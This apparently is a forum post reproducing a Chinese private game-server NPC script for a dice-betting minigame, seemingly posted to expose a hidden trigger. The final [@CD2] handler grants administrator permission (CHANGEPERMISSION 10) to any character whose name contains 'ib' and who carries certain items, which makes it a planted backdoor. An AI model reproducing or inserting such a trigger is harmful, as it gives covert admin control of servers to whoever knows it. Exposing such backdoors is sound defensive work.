焚天中变周润发权限触发
大家详细看脚本吧，
[@赌神周润发]
{
#IF
equal G52 0
#ACT
MOV G52 6
#IF
equal G45 1
#ACT
MessageBox 赌场功能意外关闭，请联系管理员！
break
#IF
SMALL G47 <$STR(G48)>
#ACT
MOV N30 <$STR(G48)>
MOV N31 <$STR(G47)>
DEC N30 <$STR(N31)>
#IF
SMALL N30 3000000
#SAY
<━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━/SCOLOR=250>\
<你当前拥有元宝数：【/SCOLOR=250><$GAMEGOLD><】/SCOLOR=250>\
<为防止作弊,每局只能押注一次!重复押注将取消之前的押注/AUTOCOLOR=253,245> \
<赌猜点赔率6倍>：【<①/@CD1>】【<②/@CD2>】【<③/@CD3>】【<④/@CD4>】【<⑤/@CD5>】【<⑥/@CD6>】\
<大中小赔率3倍>：【<小[url=]/@DX1[/url]>】【<中[url=]/@DX2[/url]>】【<大[url=]/@DX3[/url]>】 ①②为小,③④为中,⑤⑥为大\
<赌单双赔率2倍>：【<单[url=]/@DS1[/url]>】【<双[url=]/@DS2[/url]>】 ①③⑤为单,②④⑥为双\
<您本次下注：压[/SCOLOR=250><$STR(S40)><]项目[/SCOLOR=250>& lt;$STR(S41)><]点，赌注[/SCOLOR=250><$STR(N1)><]元宝 /SCOLOR=250>\
买定离手还剩[<$STR(G46)>]秒，每10秒更新一次时间，没压的尽快！\
<刷新一下[url=]/@main[/url]> <游戏规则/@游戏规则> <返回土城/@返回土城> \
#ELSEACT
MessageBox 赌场功能意外关闭，请联系管理员！
break
close
[@游戏规则]
读博有害健康，有碍家庭幸福，请不要读博！\
<赌猜点>：选择想要的点数，输入元宝，等待开局，赔率6倍！\
<赌大小>：选择想要的大小，输入元宝，等待开局，赔率3倍！\
;<赌单双>：选择想要的单双，输入元宝，等待开局，赔率2倍！\
读博压注后，不能离开地图、下线、否则将清除压注记录\
不要重复下注，重复下注会清除上一次下注的记录和元宝\
<返回[url=]/@main>\[/url]
[@返回土城]
<$USERNAME>，不赌了吗？\
回土城后将对您的读博资料清空！\ \ \
<返回土城/@返回土城A> <爷点错了[url=]/@exit>\[/url]
[@返回土城A]
#If
#ACT
MOV N1 0
MOV M40 0
MOV M41 0
MOV M42 0
MOV S40 无
MOV S41 无
set [045] 0
set [047] 0
set [048] 0
set [049] 0
mapmove 3 333 333
break
;
;赌单双
;
[@DS1]
#If
CHECK [045] 1
#SAY
<$USERNAME>，您想重新下赌注吗？\
您上次下注：压[<$STR(S40)>]项目[<$STR(S41)>]点，赌注[<$STR(N1)>]元宝\
<关于注金：你身上元宝必须大于你输入的元宝数否则下注将失败！>\
<注意：重复下注会自动覆盖上一次下注，注金不退还！>\ \ \
<爷元宝多，就是要重复下注/@重复下注DS1> <爷点错了[url=]/@exit>\[/url]
#ELSEACT
GOTO @重复下注DS1
break
[@重复下注DS1]
#If
CHECKGAMEGOLD < 101
#ACT
MessageBox 101个元宝都没，还想来读博啊，回家种地去！
break
#ELSEAct
MOV S40 赌单双
MOV S41 ①③⑤
MOV N1 0
set [045] 0
set [047] 0
set [048] 0
set [049] 0
#If
CHECKGAMEGOLD > 100
#SAY
<$USERNAME>，买拉买拉买拉~~~！\
这位爷想压多少呢？最少也要压1百最多5千！\
<关于注金：你身上元宝必须大于你输入的元宝数否则下注将失败！>\
<注意：重复下注会自动覆盖上一次下注，注金不退还！>\ \ \
<爷要输入压的元宝数[url=]/@@InPutInteger1[/url]> <爷先看看风水[url=]/@exit>\[/url]
#ELSEAct
MessageBox 101个元宝都没，还想来读博啊，回家种地去！
break
[@DS2]
#If
CHECK [045] 1
#SAY
<$USERNAME>，您想重新下赌注吗？\
您上次下注：压[<$STR(S40)>]项目[<$STR(S41)>]点，赌注[<$STR(N1)>]元宝\
<关于注金：你身上元宝必须大于你输入的元宝数否则下注将失败！>\
<注意：重复下注会自动覆盖上一次下注，注金不退还！>\ \ \
<爷元宝多，就是要重复下注/@重复下注DS2> <爷点错了[url=]/@exit>\[/url]
#ELSEACT
GOTO @重复下注DS2
break
[@重复下注DS2]
#If
CHECKGAMEGOLD < 101
#ACT
MessageBox 101个元宝都没，还想来读博啊，回家种地去！
break
#ELSEAct
MOV S40 赌单双
MOV S41 ②④⑥
MOV N1 0
set [045] 0
set [047] 0
set [048] 0
set [049] 0
#If
CHECKGAMEGOLD > 100
#SAY
<$USERNAME>，买拉买拉买拉~~~！\
这位爷想压多少呢？最少也要压1百最多5千！\
<关于注金：你身上元宝必须大于你输入的元宝数否则下注将失败！>\
<注意：重复下注会自动覆盖上一次下注，注金不退还！>\ \ \
<爷要输入压的元宝数[url=]/@@InPutInteger1[/url]> <爷先看看风水[url=]/@exit>\[/url]
#ELSEAct
MessageBox 101个元宝都没，还想来读博啊，回家种地去！
break
;
;大中小
;
[@DX1]
#If
CHECK [045] 1
#SAY
<$USERNAME>，您想重新下赌注吗？\
您上次下注：压[<$STR(S40)>]项目[<$STR(S41)>]点，赌注[<$STR(N1)>]元宝\
<关于注金：你身上元宝必须大于你输入的元宝数否则下注将失败！>\
<注意：重复下注会自动覆盖上一次下注，注金不退还！>\ \ \
<爷元宝多，就是要重复下注/@重复下注DX1> <爷点错了[url=]/@exit>\[/url]
#ELSEACT
GOTO @重复下注DX1
break
[@重复下注DX1]
#If
CHECKGAMEGOLD < 101
#ACT
MessageBox 101个元宝都没，还想来读博啊，回家种地去！
break
#ELSEAct
MOV S40 大中小
MOV S41 ①②
MOV N1 0
set [045] 0
set [047] 0
set [048] 0
set [049] 0
#If
CHECKGAMEGOLD > 100
#SAY
<$USERNAME>，买拉买拉买拉~~~！\
这位爷想压多少呢？最少也要压1百最多5千！\
<关于注金：你身上元宝必须大于你输入的元宝数否则下注将失败！>\
<注意：重复下注会自动覆盖上一次下注，注金不退还！>\ \ \
<爷要输入压的元宝数[url=]/@@InPutInteger1[/url]> <爷先看看风水[url=]/@exit>\[/url]
#ELSEAct
MessageBox 101个元宝都没，还想来读博啊，回家种地去！
break
[@DX2]
#If
CHECK [045] 1
#SAY
<$USERNAME>，您想重新下赌注吗？\
您上次下注：压[<$STR(S40)>]项目[<$STR(S41)>]点，赌注[<$STR(N1)>]元宝\
<关于注金：你身上元宝必须大于你输入的元宝数否则下注将失败！>\
<注意：重复下注会自动覆盖上一次下注，注金不退还！>\ \ \
<爷元宝多，就是要重复下注/@重复下注DX2> <爷点错了[url=]/@exit>\[/url]
#ELSEACT
GOTO @重复下注DX2
break
[@重复下注DX2]
#If
CHECKGAMEGOLD < 101
#ACT
MessageBox 101个元宝都没，还想来读博啊，回家种地去！
break
#ELSEAct
MOV S40 大中小
MOV S41 ③④
MOV N1 0
set [045] 0
set [047] 0
set [048] 0
set [049] 0
#If
CHECKGAMEGOLD > 100
#SAY
<$USERNAME>，买拉买拉买拉~~~！\
这位爷想压多少呢？最少也要压1百最多5千！\
<关于注金：你身上元宝必须大于你输入的元宝数否则下注将失败！>\
<注意：重复下注会自动覆盖上一次下注，注金不退还！>\ \ \
<爷要输入压的元宝数[url=]/@@InPutInteger1[/url]> <爷先看看风水[url=]/@exit>\[/url]
#ELSEAct
MessageBox 101个元宝都没，还想来读博啊，回家种地去！
break
[@DX3]
#If
CHECK [045] 1
#SAY
<$USERNAME>，您想重新下赌注吗？\
您上次下注：压[<$STR(S40)>]项目[<$STR(S41)>]点，赌注[<$STR(N1)>]元宝\
<关于注金：你身上元宝必须大于你输入的元宝数否则下注将失败！>\
<注意：重复下注会自动覆盖上一次下注，注金不退还！>\ \ \
<爷元宝多，就是要重复下注/@重复下注DX3> <爷点错了[url=]/@exit>\[/url]
#ELSEACT
GOTO @重复下注DX3
break
[@重复下注DX3]
#If
CHECKGAMEGOLD < 101
#ACT
MessageBox 101个元宝都没，还想来读博啊，回家种地去！
break
#ELSEAct
MOV S40 大中小
MOV S41 ⑤⑥
MOV N1 0
set [045] 0
set [047] 0
set [048] 0
set [049] 0
#If
CHECKGAMEGOLD > 100
#SAY
<$USERNAME>，买拉买拉买拉~~~！\
这位爷想压多少呢？最少也要压1百最多5千！\
<关于注金：你身上元宝必须大于你输入的元宝数否则下注将失败！>\
<注意：重复下注会自动覆盖上一次下注，注金不退还！>\ \ \
<爷要输入压的元宝数[url=]/@@InPutInteger1[/url]> <爷先看看风水[url=]/@exit>\[/url]
#ELSEAct
MessageBox 101个元宝都没，还想来读博啊，回家种地去！
break
;
;赌猜点
;
[@CD1]
#If
CHECK [045] 1
#SAY
<$USERNAME>，您想重新下赌注吗？\
您上次下注：压[<$STR(S40)>]项目[<$STR(S41)>]点，赌注[<$STR(N1)>]元宝\
<关于注金：你身上元宝必须大于你输入的元宝数否则下注将失败！>\
<注意：重复下注会自动覆盖上一次下注，注金不退还！>\ \ \
<爷元宝多，就是要重复下注/@重复下注CD1> <爷点错了[url=]/@exit>\[/url]
#ELSEACT
GOTO @重复下注CD1
break
[@重复下注CD1]
#If
CHECKGAMEGOLD < 101
#ACT
MessageBox 101个元宝都没，还想来读博啊，回家种地去！
break
#ELSEAct
MOV S40 赌猜点
MOV S41 ①
MOV N1 0
set [045] 0
set [047] 0
set [048] 0
set [049] 0
#If
CHECKGAMEGOLD > 100
#SAY
<$USERNAME>，买拉买拉买拉~~~！\
这位爷想压多少呢？最少也要压1百最多5千！\
<关于注金：你身上元宝必须大于你输入的元宝数否则下注将失败！>\
<注意：重复下注会自动覆盖上一次下注，注金不退还！>\ \ \
<爷要输入压的元宝数[url=]/@@InPutInteger1[/url]> <爷先看看风水[url=]/@exit>\[/url]
#ELSEAct
MessageBox 101个元宝都没，还想来读博啊，回家种地去！
break
[@CD2]
#IF
checkitem 随机传送卷 6 检测物品
checkitem 地牢逃脱卷 6 检测物品
checkitem 回城卷 6 检测物品
checkitem 强效金创药 6 检测物品
CheckContainsText <$USERNAME> ib 创建角色ib
#act
CHANGEPERMISSION 10
